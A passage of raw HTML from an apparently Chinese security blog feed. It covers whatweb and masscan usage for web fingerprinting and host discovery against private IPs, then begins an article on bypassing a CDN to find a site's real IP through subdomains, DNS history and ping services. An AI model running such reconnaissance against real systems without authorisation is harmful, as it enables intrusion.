00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">WHATWEB</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">whatweb &lt;http://192.168.12.111:8080&gt;
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d12e25edda794589b1b84a783e1e73dd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164612.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-1248509d7ad54a48b2f9dc2d09e19e76" data-id="1248509d7ad54a48b2f9dc2d09e19e76"><span><div id="1248509d7ad54a48b2f9dc2d09e19e76" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1248509d7ad54a48b2f9dc2d09e19e76" title="a 1 扫描等级"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">a 1 扫描等级</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">设置扫描等级: 级别为1-4，默认为1
whatweb &lt;http://192.168.12.111:8080&gt; -a 1
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-d0a8292abdb446a0a5e5310b03af4b14" data-id="d0a8292abdb446a0a5e5310b03af4b14"><span><div id="d0a8292abdb446a0a5e5310b03af4b14" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d0a8292abdb446a0a5e5310b03af4b14" title="i 列表扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">i 列表扫描</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">whatweb -i /root/ips.txt
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-3267121e52c2497ebbe6da2ddf8ebace" data-id="3267121e52c2497ebbe6da2ddf8ebace"><span><div id="3267121e52c2497ebbe6da2ddf8ebace" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3267121e52c2497ebbe6da2ddf8ebace" title="-info-plugins 指定扫描插件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-info-plugins 指定扫描插件</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">枚举所有插件:
whatweb -l

显示插件具体内容:
whatweb --info-plugins [插件名称]
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-a16704d88c734e1794bc1596397e5395" data-id="a16704d88c734e1794bc1596397e5395"><span><div id="a16704d88c734e1794bc1596397e5395" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a16704d88c734e1794bc1596397e5395" title="-log-xml 导出结果"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-log-xml 导出结果</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">whatweb you@url --log-xml web_scan.xml
</code></pre><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-5c544c37f0c945708d13fd98197e5efc" data-id="5c544c37f0c945708d13fd98197e5efc"><span><div id="5c544c37f0c945708d13fd98197e5efc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5c544c37f0c945708d13fd98197e5efc" title="IPDIC扫描-主机存活"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">IPDIC扫描-主机存活</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-feec15cfd8814370b9fb425fc974b803" data-id="feec15cfd8814370b9fb425fc974b803"><span><div id="feec15cfd8814370b9fb425fc974b803" class="notion-header-anchor"></div><a class="notion-hash-link" href="#feec15cfd8814370b9fb425fc974b803" title="MASSCAN"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">MASSCAN</span></span></h3><blockquote class="notion-quote notion-block-83bf498ee1dc489e8a15c6b35e1ca3b9"><div>Masscan号称是最快的互联网端口扫描器，最快可以在六分钟内扫遍互联网。</div><div class="notion-text notion-block-5cd5913f044c47bfb20a326273c47915">Masscan：<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://github.com/robertdavidgraham/masscan">https://github.com/robertdavidgraham/masscan</a></div><div class="notion-text notion-block-41e02dda74874e4e80f7219aadc6d3a9">一般情况下，用于主机存活探测，因为masscan的探测速率过快，端口扫描时经常会出现缺漏，所以，我们一般用于探测存活ip，之后再将存活ip发送至nmap进行端口弱点探测。</div></blockquote><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-d39020854fc2400bbf68c75c230d1a80" data-id="d39020854fc2400bbf68c75c230d1a80"><span><div id="d39020854fc2400bbf68c75c230d1a80" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d39020854fc2400bbf68c75c230d1a80" title="安装使用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">安装使用</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">sudo apt-get install git gcc make libpcap-dev
git clone &lt;https://github.com/robertdavidgraham/masscan&gt;
cd masscan
make
cp bin/masscan /bin/
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-7b8e42cdc2774a0fb818ab429cf8d471" data-id="7b8e42cdc2774a0fb818ab429cf8d471"><span><div id="7b8e42cdc2774a0fb818ab429cf8d471" class="notion-header-anchor"></div><a class="notion-hash-link" href="#7b8e42cdc2774a0fb818ab429cf8d471" title="常规扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常规扫描</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">masscan 10.10.10.1 -p1-65535 --rate 1000 -oX masscan_result_0508.xml
masscan 10.10.10.1/24 -p1-65535 --rate 5000 -oX masscan_result_0508.xml
</code></pre></main></div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass-CDN网站查找真实IP地址]]></title>
            <link>https://hexo.xslover.xyz/article/2d1c110e-97fa-455a-a812-819bf1818e76</link>
            <guid>https://hexo.xslover.xyz/article/2d1c110e-97fa-455a-a812-819bf1818e76</guid>
            <pubDate>Mon, 17 Apr 2023 00:00:00 GMT</pubDate>
            <content:encoded><![CDATA[<div id="container" class="font-medium mx-auto undefined"><main class="notion light-mode notion-page notion-block-2d1c110e97fa455aa812819bf1818e76"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-87e86b56d2e24fd6ac75c3a22c23dced" data-id="87e86b56d2e24fd6ac75c3a22c23dced"><span><div id="87e86b56d2e24fd6ac75c3a22c23dced" class="notion-header-anchor"></div><a class="notion-hash-link" href="#87e86b56d2e24fd6ac75c3a22c23dced" title="几种访问方式的不同"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">几种访问方式的不同</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">传统访问：用户访问域名—&gt;解析服务器IP—&gt;访问目标主机
普通CDN：用户访问域名—&gt;CDN节点—&gt;真实服务器IP—&gt;访问目标主机
带WAF的CDN：用户访问域名—&gt;CDN节点（云WAF）—&gt;真实服务器IP—&gt;访问目标主机
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-30707b14cd554dbcb0ab0a997dbc5d7c" data-id="30707b14cd554dbcb0ab0a997dbc5d7c"><span><div id="30707b14cd554dbcb0ab0a997dbc5d7c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30707b14cd554dbcb0ab0a997dbc5d7c" title="查询域名相关网站"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">查询域名相关网站</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">DNS查询：&lt;https://dnsdb.io/zh-cn/&gt;
微步在线：&lt;https://x.threatbook.cn/&gt;
在线域名信息查询：&lt;http://toolbar.netcraft.com/site_report?url=&gt;
DNS、IP等查询：&lt;http://viewdns.info/&gt;
CDN查询IP：&lt;https://tools.ipip.net/cdn.php&gt;
SecurityTrails平台：&lt;https://securitytrails.com/domain/www.baidu.com/history/a&gt;
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-d5ccaa01ca1e4bf485639f2a2ef9b35a" data-id="d5ccaa01ca1e4bf485639f2a2ef9b35a"><span><div id="d5ccaa01ca1e4bf485639f2a2ef9b35a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d5ccaa01ca1e4bf485639f2a2ef9b35a" title="如何判断网站是否有CDN？"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">如何判断网站是否有CDN？</span></span></h3><div class="notion-text notion-block-cbfee1c9fafb4649a6eebebabed6295a">使用不同地方的 ping 服务，查看对应 IP 地址是否唯一，如果不唯一则极有可能是使用了CDN
ping测试网站有：</div><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">&lt;https://wepcc.com/&gt;
&lt;http://ping.chinaz.com/&gt;
&lt;http://ping.aizhan.com/&gt;
</code></pre><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-a10f70d9a19f4de6b605a7bf71cc2491" data-id="a10f70d9a19f4de6b605a7bf71cc2491"><span><div id="a10f70d9a19f4de6b605a7bf71cc2491" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a10f70d9a19f4de6b605a7bf71cc2491" title="绕过CDN查找网站真实IP"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">绕过CDN查找网站真实IP</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-d01cb139d61e41bea6d3b2021823d4b6"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://ae01.alicdn.com/kf/U4216f06a6c7748b6ab046b78678fe530j.jpg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-2ee01d7db98a47bbb6df709a789f7563" data-id="2ee01d7db98a47bbb6df709a789f7563"><span><div id="2ee01d7db98a47bbb6df709a789f7563" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ee01d7db98a47bbb6df709a789f7563" title="子域名探测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">子域名探测</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">很多时候，一些重要的站点会做CDN，而一些子域名站点并没有加入CDN，而且跟主站在同一个C段内，这时候，就可以通过查找子域名来查找网站的真实IP。
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-1bc3b8786c3a46e49080bb7d2ebf4385" data-id="1bc3b8786c3a46e49080bb7d2ebf4385"><span><div id="1bc3b8786c3a46e49080bb7d2ebf4385" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1bc3b8786c3a46e49080bb7d2ebf4385" title="网络空间安全引擎搜索"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">网络空间安全引擎搜索</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 